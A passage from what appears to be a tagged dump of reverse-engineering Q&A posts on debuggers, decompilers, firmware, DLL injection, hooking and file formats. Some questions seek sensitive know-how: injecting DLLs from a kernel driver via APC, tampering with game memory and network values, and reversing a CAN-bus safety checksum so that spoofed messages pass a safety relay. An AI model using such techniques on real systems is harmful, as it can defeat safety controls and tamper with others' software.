+call   0x400d10 <std::basic_istream<char, std::char_traits<char> >& std::getline<char, std::char_traits<char>, std::allocator<char> >(std::basic_istream<char, std::char_traits<char> >&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&)@plt>
+
+ +What is happening with the variable text (Meaning: I can't seem to print the place in memory in which the raw characters are stored)? +I'm using print *(char **)<register/memory> to try to find it. Where are the raw characters of this string stored after this operation? How to I find it and how to I print them? + +I'm using gdb. +" +"['binary-analysis', 'firmware', 'flash', 'memory-dump']"," Title: Using NAND flash dump with OOB dataBody: I have NAND flash memory dump, as a separate MTD partitions copied from NAND flash chip use built-in nanddump commands. I need to reflash some corrupted MTD partitions. In order to reflash partitions properly, should I use the partition dump that contain only the actual data, cleaned first from OOB data dummy chunks? +" +"['windows', 'dll-injection']"," Title: injecting through APC using LdrLoadDll fails on `CiValidateImageHeader`Body: I've encountered an image validation error while trying to inject dll from +driver which add apc task to be performed by alertable thread. the function task include calling to LdrLoadDll with the requested dll to load. + +NOTICE: this error occurs only in the latest update (1903) + +The injection timing is on creation of new thread on an existing process (so that processes that existed before the driver is loaded could be injected as well - assuming new alertable threads will be created on them). + +Anyhow, it seems that although the dll is signed, it fails on signing issue (perhaps mismatch between processes executable file and dll signatures) + +here's the stack trace from the context of the injected processes after initial injected code tried to call ldrloaddll + +
[0x0]   CI!CipReportAndReprieveUMCIFailure + 0x563   
+[0x1]   CI!CiValidateImageHeader + 0xbdb   
+[0x2]   nt!SeValidateImageHeader + 0xd6   
+[0x3]   nt!MiValidateSectionCreate + 0x436   
+[0x4]   nt!MiValidateSectionSigningPolicy + 0xa6   
+[0x5]   nt!MiValidateExistingImage + 0x12e   
+[0x6]   nt!MiShareExistingControlArea + 0xc2   
+[0x7]   nt!MiCreateImageOrDataSection + 0x1a3   
+[0x8]   nt!MiCreateSection + 0xf4   
+[0x9]   nt!MiCreateSectionCommon + 0x1ff   
+[0xa]   nt!NtCreateSection + 0x60   
+[0xb]   nt!KiSystemServiceCopyEnd + 0x25   
+[0xc]   ntdll!NtCreateSection + 0x14   
+[0xd]   ntdll!LdrpMapDllNtFileName + 0x136   
+[0xe]   ntdll!LdrpMapDllFullPath + 0xe0   
+[0xf]   ntdll!LdrpProcessWork + 0x74   
+[0x10]   ntdll!LdrpLoadDllInternal + 0x13e   
+[0x11]   ntdll!LdrpLoadDll + 0xa8   
+[0x12]   ntdll!LdrLoadDll + 0xe4   
+
+ +the process is image is spawned from dllhost.exe and it's not revealed as protected using method PsIsProtectedProcess + +Any idea what can lead to this error ? + +thanks +" +"['windows', 'x86', 'x86-64', 'windows-10']"," Title: How to find the starting address of text section of a DLL inside a process? (64 bit)Body: There was a question about this a year ago, but the answer doesn't explain how to do it in C/C++: + +How to find start of .text section? + +I'm not talking about module start address, which we can get using GetModuleHandle(module) + +I'm talking about the start of text section of a DLL inside a process, so when i inject a process (using dll injection) i can get the starting address of a target DLL and patch part of its instructions, basically i know the offset of a instruction inside the DLL's file on disk, and i just want to find the start of text section and add to it that offset so i can patch it by injecting into the process that loaded it + +and the offset of that part inside the PE file is different from disk, for example in a test program that i checked the offset in disk was 0x300 and on memory was 0x1000 (32 bit app) + +so how can i do this that can work in both 32 bit and 64 bit apps? +" +"['arm', 'vtables', 'shared-object']"," Title: When virtual table is not the first element of structure?Body: Assuming that source code is compiled for ARMv7 architecure using clang (native shared object library for Android, Itanium ABI) what are the cases when virtual table pointer is not the first element of structure? +" +"['disassembly', 'windbg']"," Title: Disassembling only given functionBody: I'm looking for some disassembler that has feature similar to WinDbg uf function, it produces output that is really easy transferable to compilable NASM listing. The problem with WinDbg is that it's hard to execute from API level, without attaching debugger. It can work on Linux or Windows. +" +"['disassembly', 'assembly', 'c', 'arm']"," Title: What is the following assembly code doing?Body:
str fp,[sp, -4]!
+add fp, sp, #0
+sub sp, sp, #12
+str r0, [fp, #-8]
+str r1 [fp, #-12]
+
+L5:
+ldr r3, [fp, #-8]
+ldrb r3, [r3]
+cmp r3, #0
+beq .L2
+ldr r3, [fp, #-12]
+ldrb r3, [r3]
+cmp r3, #0
+beq .L2
+ldr r3, [fp, #-8]
+ldrb r2, [r3]
+ldr r3, [fp, #-12]
+ldrb r3, [r3]
+cmp r2, [r3]
+bne .L8
+ldr r3, [fp, #-8]
+add r3, r3, #1
+str r3, [fp, #-8]
+ldr r3, [fp, #-12]
+add r3, r3, #1
+str r3, [fp, #-12]
+b .L5
+
+.L8
+nop
+
+.L2
+ldr r3, [fp, #-8]
+cmp r3, #0
+bne .L6
+ldr r3, [fp, #-12]
+cmp r3, #0
+bne .L6
+mov r3, #0
+b .L7
+
+.L6
+ldr r3, [fp, #-8]
+ldrb r3, [r3]
+mov r3, r3
+ldr r3, [fp, #-12]
+ldrb r3, [r3]
+sub r3, r2, r3
+
+.L7
+mov r0,r3
+add sp, fp, #0
+ldr fp, [sp], #4
+bx lr
+
+" +"['patch-reversing', 'function-hooking', 'hooking', 'frida']"," Title: Hooking function with fridaBody: How can i hook functions with frida? +Can someone give me an example please, for something that do that? + +Hook at 0x412312 and change the assembly code to ""mov eax, 999"" + +I Arleady tried something like: +https://pastebin.com/eGPf5k0R + +but it doesn't work for me, thx for helping! +" +['debugging']," Title: How to trace in x64dbg?Body: Does x64dbg have ““Add entries of all procedures”. option to trace the instructions and save the output as a *.txt file? +" +['x86']," Title: How is subtraction performed on unsigned numbers within the CPU?Body: I am learning about various flag states for the cmp instruction. From reading, the cmp instruction is really just a sub instruction that sets the various flags (OF, CF, ZF) accordingly depending on the result of the sub. + +As I understand it, there is no pure ""subtraction (sub)"" instruction implementation in x86, rather, the second operand is negated, and then the two numbers are added; i.e. 8-4 becomes 8+(-4). + +If this is true, then how is subtraction implemented for unsigned numbers? For example, if we are limited to 8 bits and want to subtract 255-254, the 2's compliment representation of 254 is well outside of the range of 8 bits. +" +"['ida', 'hexrays', 'decompiler', 'exception', 'seh']"," Title: Is there a way to show exceptions handlers in Hex-Rays decompiler output?Body: Is there a way to show these exception handlers in the decompiled code? + + + +I can't tell that a block is in a __try block without looking into the disassembly. + +
__int64 __fastcall NtDCompositionGetBatchId(int a1, unsigned int a2, _DWORD *a3)
+{
+  _DWORD *v3; // r14
+  __int64 v4; // r8
+  int v5; // er13
+  __int64 v6; // rcx
+  _DWORD *v7; // rdx
+  _DWORD *v8; // rdi
+  signed int v9; // esi
+  __int64 v10; // rbx
+  __int64 *v11; // r15
+  __int64 v12; // rax
+  struct _ERESOURCE *v13; // rbx
+  __int64 v14; // rcx
+  __int64 v15; // rax
+  struct _ERESOURCE *v16; // rdi
+  int v17; // er12
+  __int64 v19; // [rsp+38h] [rbp-50h]
+  int v20; // [rsp+44h] [rbp-44h]
+  unsigned int v21; // [rsp+98h] [rbp+10h]
+
+  v21 = a2;
+  v3 = a3;
+  v4 = a2;
+  v5 = a1;
+  if ( !v3 )
+    return (unsigned int)-1073741811;
+  v6 = *(_QWORD *)MmUserProbeAddress;
+  v7 = v3;
+  if ( (unsigned __int64)v3 >= *(_QWORD *)MmUserProbeAddress )
+    v7 = *(_DWORD **)MmUserProbeAddress;
+  *v7 = *v7;
+  v8 = 0i64;
+  v9 = 0;
+  v10 = 0i64;
+  v11 = 0i64;
+  v12 = PsGetCurrentProcessWin32Process(v6, v7, v4);
+  if ( v12 )
+    v11 = *(__int64 **)(v12 + 256);
+  if ( v11 )
+  {
+    v13 = (struct _ERESOURCE *)v11[1];
+    KeEnterCriticalRegion();
+    ExAcquireResourceExclusiveLite(v13, 1u);
+    v14 = *v11;
+    v10 = 0i64;
+    LODWORD(v19) = v5;
+    *(__int64 *)((char *)&v19 + 4) = 0i64;
+    v20 = 0;
+    v15 = RtlLookupElementGenericTable(v14, &v19);
+    if ( v15 )
+      v10 = *(_QWORD *)(v15 + 8);
+    if ( v10 )
+    {
+      _InterlockedIncrement((volatile signed __int32 *)(v10 + 8));
+      v8 = 0i64;
+    }
+    else
+    {
+      v9 = -1073741790;
+    }
+    ExReleaseResourceLite((PERESOURCE)v11[1]);
+    KeLeaveCriticalRegion();
+  }
+  else
+  {
+    v9 = -1073741823;
+  }
+  if ( v10 )
+  {
+    v16 = *(struct _ERESOURCE **)(v10 + 32);
+    KeEnterCriticalRegion();
+    ExAcquireResourceExclusiveLite(v16, 1u);
+    v8 = (_DWORD *)v10;
+  }
+  if ( v9 >= 0 )
+  {
+    if ( (*(unsigned int (__fastcall **)(_DWORD *))(*(_QWORD *)v8 + 8i64))(v8) == 1 )
+      goto LABEL_16;
+    v9 = -1073741811;
+    (**(void (__fastcall ***)(_DWORD *))v8)(v8);
+  }
+  v8 = 0i64;
+LABEL_16:
+  if ( v9 >= 0 )
+  {
+    if ( v21 == 2 )
+    {
+      v17 = v8[96];
+    }
+    else if ( v21 )
+    {
+      if ( v21 == 1 )
+        v17 = v8[95];
+      else
+        v17 = 0;
+    }
+    else
+    {
+      v17 = v8[94];
+    }
+    (**(void (__fastcall ***)(_DWORD *))v8)(v8);
+    if ( v9 >= 0 )
+      *v3 = v17;
+  }
+  return (unsigned int)v9;
+}
+
+" +"['windows', 'memory', 'dump']"," Title: How to identify the NonPagedPool Start Memory address from a memory dumpBody: I need to find the memory address where starts the NonPagedPool. I saw some people doing it with Rekall, but I'm having a lot of problems with it. + +Is that possible with Volatility ? + +Tks +" +"['debuggers', 'x64dbg']"," Title: In X64dbg, how can I script a string write to memory?Body: I find that I can write to memory as + +
+ [addr] = value +
+ +As given by the documentation at http://help.x64dbg.com/en/latest/introduction/Input.html + +And while I could work around my problem as dividing the string into several byte writes, that looks kind of ugly! Every character would be: + +
+ byte:[addr] = charactercode +
+ +I have not found any way except for manually entering into the memory editor to write a string/unicode string into memory. Am I missing something or is this really basic feature missing from X64dbg ? + +In case there is another workaround. +The problem I am trying to solve is I want to set a value for GetEnvironmentVariable() for a variable that does not exist by writing a string into the buffer. I want this to happen when a breakpoint is reached by breakpoint commands. + +So basically if there was any way to force setting environment variable or write a string into memory when a breakpoint is hit. I could work with that! +" +"['windows', 'x86', 'c++', 'patching', 'game-hacking']"," Title: Injecting C++ code, while also maximizing compatibility with other injectionsBody: Using the New Vegas Script Extender C++ API for Fallout New Vegas, I am able to write to the process' memory directly at runtime through a .dll plugin that's loaded by the NVSE injector. But it is not a debugger, like CheatEngine, so there's no automatic handling of inserting new code to an existing assembly function. + +Beginning of the assembly function, TryOpenPipboy, I want to inject code into: https://i.imgur.com/MQUrbXa.png + +EquipPlayerPipboy() function I want to inject: https://i.imgur.com/IjmMRFU.png + +The game has a loop called MainUILoop which runs every frame, and when the player presses tab without holding it down, TryOpenPipboy is called. + +My guess is that I need to somehow create a new empty block of memory, edit a copy of the original TryOpenPipboy function, then replace all TryOpenPipboy calls with my modified variant. But that would make a hard incompatibility with any other NVSE plugins that also modify the MainUILoop in any way, as well as any that edit TryOpenPipboy. + +Edit: Another possible way would be to change the jmp assembly to my C++ function, then call TryOpenPipboy from my function. That would mean TryOpenPipboy is still called, but is unmodified, increasing potential compatibility. + +So how should I go about doing this? +" +"['android', 'tools', 'static-analysis']"," Title: APK static analysis tools - frameworks used, vulnerability checks, etc?Body: I'm familiar with tools for unpacking/decompiling APKs - JADX, apktool, dex2jar, JD-GUI, and the like. I'm curious if there are tools which automate other useful tasks when reversing an APK, such as: + + + +I've come across super, though I haven't found it incredibly useful in my use cases. +" +"['ida', 'c++']"," Title: Trying to understand *((_DWORD *) in IDA proBody: Hi I am trying to understand pseudocode from this game I'm currently modifying. + +
if ( v11 == 501736410 )                       // case 0x1DE7E3DA: //""Weapon""
+{
+   *((_DWORD *)v6 + 326) = 3;
+}
+else if ( v11 == 731299553 )                  // case 0x2B96BEE1: // ""Speed""
+{
+   *((_DWORD *)v6 + 326) = 2;
+}
+
+ +I don't understand what *((_DWORD *)v6 + 326) = 3; does I get it's changing it into a 3 but what is being changed? + +v6 is void *v6; // esi@1 +" +['x64dbg']," Title: Find Retdec Address Range in x64dbgBody: How do I find this function from RetDec in x64dbg? +
// Address range: 0x1017dba0 - 0x1017dbda
+int32_t function_1017dba0(int32_t * a1) {
+    int32_t fileHandle = (int32_t)CreateFileA("\\\\.\\SntnlUsb", -0x40000000, 3, NULL, 3, 128, NULL); // 0x1017dbb7
+    g2 = fileHandle;
+    *(int32_t *)-0x40000000 = fileHandle;
+    int32_t v1 = g2; // 0x1017dbc3
+    int32_t v2 = v1 == -1 ? 0x1c0b : 0x1c00; // 0x1017dbce
+    g5 = v2;
+    int32_t result = v2 | v1 & -0x10000; // 0x1017dbd4
+    g2 = result;
+    return result;
+}
+
+My address is x64 debug are only going up to 01002FFE. I have no idea how to find this function when the dll is loaded into x64dbg. +" +"['ida', 'firmware', 'intel', 'rom', '8051']"," Title: Loading 8051 binary to IDA with ROM+External RAM configurationBody: I have 8051 firmware file, in 8051 ROM addresses can overlap external RAM addresses(movc and movx solve this issue), however IDA doesn't allow overlapping addresses: + + +In this example the ROM size is 0x7000 and external RAM size is 0xFFFF. + +I need the external RAM addresses so I can rename certain addresses, How it is possible to solve this issue? + +Thanks. +" +"['debugging', 'dll', '.net', 'breakpoint', 'c#']"," Title: How to debug a DLL written in .NET/C#?Body: I want to reverse engineer an application written in C#. I would like to set a breakpoint at a function and observe the input passed to it during the normal course of the application's functioning. +" +"['radare2', 'qemu']"," Title: Radare2 not showing memory value correctlyBody: I am debugging a bootloader running on QEMU i386. + + +The issue is the red value of 0x6069 shown as zero. In reality the value is the same as register al (non zero value) and the following je happens. + +Is this a bug on R2 or am I missing some setting? +" +"['android', 'arm']"," Title: What binary value does Thread and Process ID Register contains in Android ARM?Body: I have following instructions in Android shared library: + +
MRC p15, 0, R3,c13,c0, 3 
+LDR R3, [R3,#4] 
+MOV R0, #0 
+STR R0, [R3,#0xC]
+
+ +According to ARM documentation: + +
+ Reading or writing the Thread and Process ID Registers has no effect + on the processor state or operation. These registers provide OS + support and must be managed by the OS. +
+ +That's nice, but what is implementation of this register value in Android or ARM Linux? + +From the code, it tries to read Thread and Process ID Register value as structure,and it reads some field with offset 4. This field is pointer to structure itself, and it writes 0 to field with offset 12. + +So, the register value is for sure not pthread_t, because, according to Android source codes, pthread_t field with offset 4 is unsigned int and not pointer to any structure. + +Does anyone know where can I find definition of structure returned by MRC c13::c0::3 in Android ARM? +" +"['ida', 'decompilation', 'hexrays', 'libc']"," Title: How to help IDA to auto complete libc functions?Body: I have a x86_64 ELF binary which is statically compiled. With some digging, +I have found the C library is musl. In IDA Pro 7.0, the decompiled pseudo code +shows sycalls as inline assembly code. But in latest IDA Pro 7.3.x it is shown +as an incomplete function. Take fork() as an example: + + + + + +
mov eax, 57
+syscall
+
+ + + + + +
__asm { syscall; LINUX - sys_fork }
+
+ + + + + +
sys_fork()
+
+ +So, there is some improvement :) + +I want IDA to automatically resolve the function parameters and return values. +In Windows world, I did something similar by creating type libraries. +Is there any way to import the whole C library (musl or glibc) in IDA without +manually editing every libc functions? +" +"['ida', 'symbols', 'debugging-symbols']"," Title: IDA 7.0 (free) fails to load symbols with message ""DWARF: Cannot determine location of DWARF info"" during debuggingBody: Here's the steps to repro. Just installed IDA (free) v.7.0 on a brand-new installation of Windows 10 (x64) in a VM: + + + +Then loaded a test PE file and started debugging it (using Local Windows Debugger): + + + +So now I want to load symbols from the Microsoft server, say for ntdll.dll (or any other Windows module for that matter): + + + +This fails with the following message in the output window: + + + +
DWARF: Cannot determine location of DWARF info for ""C:\Windows\System32\ntdll.dll"".
+Could not load debug info for module: ""C:\Windows\System32\ntdll.dll""
+
+ +Any idea what am I doing wrong? +" +"['ida', 'windows', 'security']"," Title: __security_cookie for function pointers in Windows 10Body: I'm curious about this __security_cookie that I keep seeing all over the msvcp140.dll from my Windows 10 x64 (insider build.) + +Here's an example: + + + +Note that the address for indirect function call (or qword_18009FBD0) is taken somewhere from the .data section: + + + +Then it is XOR'ed with the __security_cookie: + + + +I thought that __security_cookie is something that is used on the stack to guard against buffer-overflows. So they must be using some new security technique. Any idea what that is? + +And a follow up question. I'm trying to statically analyze this binary code with IDA and this __security_cookie makes it very difficult to see what function is actually being called. For instance, here's how qword_18009FBD0 looks like: + + + +Any idea how to make those function addresses more legible? +" +"['disassembly', 'assembly', 'c', 'ghidra']"," Title: Simple C program disassembled with GhidraBody: I am trying to figure out what is going on with my simple example programs, when I disassemble them with Ghidra. I am not sure whether this is some strange Ghidra behaviour or something that is set by default during compile time which produce a lot of assembly code, but I actively write only few LOC. + +Here is my sample C program created with VS Studio 2017: + +
void main()
+{
+    int x = 1;
+    int y = 2;
+    x = x + y;
+}
+
+ +And this is what I get when I try to disassemble it with Ghidra: + + + +The above screenshot is from the supposed 'entry' point of the program. But why is it so complex? I did a simple program to test how local variables are presented in Assembly and I get such output. Yet it should be few simple Assembly commands instead. + + + +I am not sure what I am missing out here, so if someone could help me to try and understand this, I would be grateful. +" +"['disassembly', 'assembly', 'c', 'ghidra', 'local-variables']"," Title: Local variables and addition not shown in GhidraBody: I am having some troubles with my learning of Assembly and reverse engineering. Specifically, I am learning about Global vs Local variables. For Global variables I have managed to get insights in assembly that they are stored in memory address. For Local variables I expect them to be stored on stack (theory), but my simple C code below, when being disassembled in Ghidra, does not show anything in main function. + +C CODE: + +
void main()
+{
+    int x = 1;
+    int y = 2;
+    x = x + y;
+}
+
+ +GHIDRA OUTPUT: + + + +Why can't I see anything in my Ghidra? It looks like an empty function to me, but clearly there should be some local variable declaration and then addition performed afterwards. + +I really apologize for opening threads here often, but this is the only source where I can get help for such things. On Reddit they do not allow posting questions and referred me here. + +EDIT - 25.09.2019: + +As per suggestion I have added some code to my existing C Code to see if it will show up now in Assembly: + +
#include <stdio.h>
+
+void main()
+{
+    int x = 1;
+    int y = 2;
+
+    x = x + y;
+
+    printf(""Rezultat = %d\n"", x);
+
+}
+
+ +For this I had to set entry point back to CRT initialize, otherwise I could not use stdio Library. This is now the result of main function in Ghidra: + + + +Now I am able to see the PUSH instruction and the value 0x03. This is probably the resulting value of addition 1 + 2, but I again can't nowhere see where are the local variables initialized nor where the arithmetic operation is performed. +" +"['android', 'c#']"," Title: How to figure out which button I'm pressingBody: I'm working on an app, that I'm trying to get to work on a android device that has additional buttons. + +The device is called a BH95, from BATL. It has 4 side buttons(1 volume up, 1 power button, 2 unknown), 3 regular android buttons on the face(Home, Return, the running app list), and 6 additional face buttons below the screen. 4 of those 6, are D-pad buttons. The two other are F1 and F2. + +While running a test app to determine what the keys are actually called, (A simple OnKeyDown override that posts a toast and I can just use a breakpoint on), I've found that the 2 unknown side buttons and the F1 and F2 don't trigger the OnKeyDown code, so I can't figure out what the keyCode for them is, if they even have one, and aren't handled in some weird way. + +My question is, how would I figure out what the buttons are called, or how to handle them? + +Also, the lock/power button also doesn't trigger the keydown, neither do the home or list running app buttons, but the Return button and Volume up do. + +ps. It doesn't have a volume down, instead overflowing the volume control when you press volume at max volume, muting the device, with an additional press setting volume to lowest non-muted. + +App is a Xamarin App in VS2019 +" +['file-format']," Title: Mimicking a file format that is actually a zipBody: Backstory: I have been trying to find a way to automatically turn batches of photos into WhatsApp stickers. I was able to do that, but now I am trying to figure out a way to actually import them into WhatsApp. For that, I am trying to piggyback off an app which can import it's own sticker pack files, with extension .wastickers +(example here). The app can be found here. + +Upon inspection with file, the format turns out to be a .zip archive (and indeed it unzips). Binwalk can also see all of the files inside the archive without unzipping it. As such I tried mimicking the contents of the container and zipping it with 0 compression ratio (""storage"" mode) and changing the extension, but the app does not see the archive as a legitimate stickerpack. Furthermore binwalk can't see the contents of such an archive off the bat. + +What is contained inside an archive: a png called 0, which is the stickerpack icon; A bunch of .webp files numbered from 1 to at most 30, and two text files, title.txt and author.txt which, you guess it, denote the title and the author of the stickerpack. + +What is special about their container? How can I mimick it? +" +"['ida', 'assembly', 'x86-64']"," Title: What do square brackets do in IDA's pseudocode representation?Body: I've been a bit stumped recently on my decomp work. I've not dealt with C in depth nor have I dealt with IDA's pseudocode system very much at all. I understand asm, but because of how IDA merges instructions together in its pseudocode system, I'm having some trouble finding out how this translates. + +In my pseudocode I have the following line: + + + +
// v1 is a pointer to RDI (stored as a single in pseudocode)
+// v7 is a pointer to R8 (stored as a single in pseudocode)
+// v10 is XMM1 (single)
+
+v1[1818] = (float)(v10 * (float)(*v7 - v7[1])) + v7[1];
+
+ +I'm having trouble understanding what the square brackets do. I was thinking that it was an offset (e.g. ""set the data at the location of v1 in memory + 1818i64 bytes to..."") but the asm doesn't match up with that addr. What's the difference between setting v1 = vs setting v1[1818] =? +" +['ghidra']," Title: Ghidra: How to display the contents of an arrayBody: I have a long array in a program. I can see the contents of the array in the left view but it is not in a useful format. Is it possible to use ghidra to print the array in a copy-paste friendly format (e.g. [var0, var1, var3 ...]) +" +"['windows', 'x86', 'asm', 'pe32']"," Title: I'm trying to understand the SEH mechanismBody: I'm trying to understand the mechanism of SEH (Structured Exception Handling). I understood how it was recorded and saved in FS: [0] on the previous three instructions. But why add interrupt 1 (step by step): I can not understand what the report is. + +
push handler
+push FS:[0]
+mov  FS:[0], esp
+int  1
+
+" +['x64dbg']," Title: Is it possible to view and modify process memory without attaching the debugger in x64dbg?Body: This functionality is available in Cheat Engine where the debugger won't be attached until you set a breakpoint or explicitly ask for the debugger to be attached. I've looked everywhere and couldn't find anything similar for x64dbg. It's very useful when you want to view or modify memory of the process which employs anti-debug measures. +" +"['ida', 'assembly']"," Title: Error when changing push 0 to push functionBody: Hi I am sort of new to ida pro even though I've used a lot but when I push a function where a 0 used to be it gives me sp-analysis failure + + +I've searched for a fix for a while to no avail +help would be much appreciated. +" +"['ida', 'motorola']"," Title: How to set parametres for IDA PRO for decompile Firmware Motorola HC908JB8JDWBody: Hope someone can help me to set parametres for IDA PRO for decompile Firmware Motorola HC908JB8JDW +i tried every combinanated value but without sucess. + + + + +" +"['disassembly', 'encodings', 'networking', 'float', 'wireshark']"," Title: Encoding method of floatBody: I'm reversing this game and got stuck. To make it simple, You have some amount of coins in the game (float or double) and you can spend it on some things. I started sniffing network traffic and noticed that with different amount of coins, only 2 bytes change. + +I've bought different amount of coins and copied those two bytes: + +
(5)
+
+1111 0100 0000 0011 (F4 03)
+
+---------------------------
+
+(6)
+
+1101 1000 0000 0100 (D8 04)
+
+---------------------------
+
+(7)
+
+1011 1100 0000 0101 (BC 05)
+
+---------------------------
+
+(8)
+
+1010 0000 0000 0110 (A0 06) 
+
+---------------------------
+
+(9)
+
+1000 0100 0000 0111 (84 07)
+
+---------------------------
+
+(10)
+
+1110 1000 0000 0111 (E8 07)
+
+
+(11)
+
+1100 1100 0000 1000 (CC 08)
+
+---------------------------
+
+(12)
+
+1011 0000 0000 1001 (B0 09)
+
+---------------------------
+
+(13)
+
+1001 0100 0000 1010 (94 0a)
+
+---------------------------
+
+(14)
+
+1111 1000 0000 1010 (F8 0a)
+
+---------------------------
+
+(15)
+
+1101 1100 0000 1011 (DC 0B)
+
+---------------------------
+(16)
+
+1100 0000 0000 1100 (C0 0C)
+
+---------------------------
+
+(17)
+
+1010 0100 0000 1101 (A4 0D)
+
+---------------------------
+
+(18)
+
+1000 1000 0000 1110 (88 0E)
+
+---------------------------
+
+(19)
+
+1110 1100 0000 1110 (EC 0E)
+
+---------------------------
+
+(20)
+
+1101 0000 0000 1111 (D0 0F)
+
+ +First line represents the amount of coins that I have, and the second is it's corresponding bytes in hex from wireshark. I don't know which encoding method is used for this. Maybe someone has some experience and knows the algorithm behind it. Thanks. + +Update + +
8
+
+1010 0000 0000 0110 (A0 06) 
+
+-----------------------------
+
+
+16
+
+1100 0000 0000 1100 (C0 0C)
+
+--------------------------
+
+256
+
+1100 1000 0000 0001 (C8 01)
+
+----------------------------
+
+512
+
+1001 0000 0000 0011 (90 03)
+
+-----------------------------
+
+
+2048
+
+1100 0000 0000 1100 (C0 0C)
+
+----------------------------
+
+4096
+
+1000 0000 0001 1001 (80 19)
+
+-----------------------------
+
+8192
+
+1000 0000 0011 0010 (80 32)
+
+------------------------------
+
+ +Notice that 2048 and 16 have same code. I can't understand why this happened, how does it differentiate 16 and 2048? + +Different amount of coins can be spend in different rooms, for example 8 and 16 are spend in one room, it has maximum limit of 30. 256 and 512 on room number two and the rest in the room number three. When I enter into a room with different amount of coins all I'm looking is the differences between bytes in the same room, different rooms have different bytes in them which as I understand describe the room itself. Is it possible that I'm missing some bytes? + +But when I enter room number three with different coins 2048 4096 8192 these are the only bytes that are changing. + +UPDATE 2 + +
64   - 00110010
+128  - 01100100
+1024 - 1010000000000110
+
+ +So we have + +
  8     1010000000000110
+  16    1100000000001100
+  32 ?
+  64    00110010
+ 128    01100100
+ 256    1100100000000001
+ 512    1001000000000011
+1024    1010000000000110
+2048    1100000000001100
+4096    1000000000011001
+8192    1000000000110010
+
+ +I can't get 32 since I could not enter none of the rooms with that value. +" +"['ida', 'disassembly', 'malware', 'c']"," Title: Unable to properly analyze a very simple C-compiled programBody: I'm a RE beginner and I decided to start writing my own simple code for practice. + +I wrote a simple code which uses a winAPI function called CreateProcess to start a calc.exe, I've wrote it in C and compiled it using with the official Microsoft SDK with visual studio 2019 as a Release version. + +The exe file works with Windows 7 and Windows 10 without any issue. + +I searched through IDA and went to the start function which should point where the main user code is, so here are my problems: + +
    +
  1. The start function's analysis has failed and I have failed to find where the code redirects to the CreateProcess function which I used in the code, this is how it looks:
  2. +
+ + + +
    +
  1. When I look up ""calc.exe"", I find it in a different section, where I'm not used to see it (as compared to the Practical Malware Analysis book examples). +This is how it looks:
  2. +
+ + + +I have IDA pro 6.8 installed. + +This is how the original code looks, the main function only contains a call to the Create() function: + +
void Create()
+{
+    STARTUPINFO si;
+    PROCESS_INFORMATION pi;
+
+    SecureZeroMemory(&si, sizeof(si));
+    si.cb = sizeof(si);
+    SecureZeroMemory(&pi, sizeof(pi));
+
+    if (!CreateProcess(L""C:\\Windows\\system32\\calc.exe"", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
+    {
+        printf(""failed, error: %d"", GetLastError());
+    }
+    else {
+        printf(""Process successfuly started!"");
+    }
+}
+
+ +EDIT: + +I added to linked PDB file that was in the Release folder and IDA works great and it immediately detects the main function! + +But I say to myself, if I'm a malware analyst, I will get the EXE file without any PDB file, so what am I to do? +" +['pe']," Title: Can I use the Rich Header To Find out Compiler and Linker used?Body: I heard that I can use look at the RICH HEADER to find out what compiler was used. I looked at the Rich header and I cannot seem to make sense of this. + +Can I find the Compiler used for this program and is there a tool to decode this? + +Here is the Rich header and I want to know what compiler was used for this. +HEX + +
f1 0b 38 2f b5 6a 56 7c b5 6a 56 7c b5 6a 56 7c
+26 24 ce 7c b4 6a 56 7c bc 12 c3 7c b7 6a 56 7c
+00 f4 b6 7c b3 6a 56 7c 00 f4 89 7c b4 6a 56 7c
+bc 12 c5 7c ae 6a 56 7c b5 6a 57 7c 10 6a 56 7c
+ae f7 f9 7c af 6a 56 7c ae f7 cd 7c b4 6a 56 7c
+ae f7 cb 7c b4 6a 56 7c 52 69 63 68 b5 6a 56 7c
+
+ +ASCII + +
..8/.jV|.jV|.jV|
+&$.|.jV|...|.jV|
+...|.jV|...|.jV|
+...|.jV|.jW|.jV|
+...|.jV|...|.jV|
+...|.jV|Rich.jV|
+
+ +In case I missed something in selecting the header here is the MZ + DOS and Rich + +
4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00
+b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00
+0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68
+69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f
+74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20
+6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00
+f1 0b 38 2f b5 6a 56 7c b5 6a 56 7c b5 6a 56 7c
+26 24 ce 7c b4 6a 56 7c bc 12 c3 7c b7 6a 56 7c
+00 f4 b6 7c b3 6a 56 7c 00 f4 89 7c b4 6a 56 7c
+bc 12 c5 7c ae 6a 56 7c b5 6a 57 7c 10 6a 56 7c
+ae f7 f9 7c af 6a 56 7c ae f7 cd 7c b4 6a 56 7c
+ae f7 cb 7c b4 6a 56 7c 52 69 63 68 b5 6a 56 7c
+00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+
+" +"['python', 'openssl']"," Title: Regenerate PEM/DER keys from binary blobsBody: I have the binary blobs for the components of a private key including modulus, publicExponent, privateExponent, prime1, prime2, exponent1, exponent2 and coefficient, what is the easiest way to generate a PEM/DER file from them? Is there a easy to use Python API that can be used or do I have to use C? Likewise if I have the components of a public key as binary blobs, including modulus and exponent, what's the easiest method there? Another question in this process: are the python APIs to test the property of the components, like weather the prime is a prime or weather the public and private components match? +" +['crc']," Title: CRC Checksum? (Used in can open system)Body: We want to put our own messages on a can-open system. (So we can program our own functions to the system). We can put our message on the system, but when we do this, the safety relay stops the system. (Controlled by 2 processors). We also filter out the original message with a can bridge. + +Channel 1F0 and 1F1 are the the RAW inputs from the controller. (We manipulate). + +We think we found the problem. +Channel 1F2 changes a sort of random, if you actuate a function. It combines the input from the other 2 input channels. It looks like this channel is used for crc safety protocol. (Always the same output, if you combine the same multiple functions, but as there are linear controllers there are infinite combinations possible). + +Anyone here who can reverse engineer what system is used for this? So we can simulatie this channel also. (Crc32 orso?). + +First byte of all 3 messages is a counter. (0-8 keeps always counting). + +3 Examples: + +ID DLC Data + +1F0 - 8 - 03 59 7A 7E 7F 59 7A 7E + +1F1 - 8 - 03 7F 59 00 01 20 27 05 + +1F2 - 8 - 03 0E 8E 70 1A 00 00 00 + +
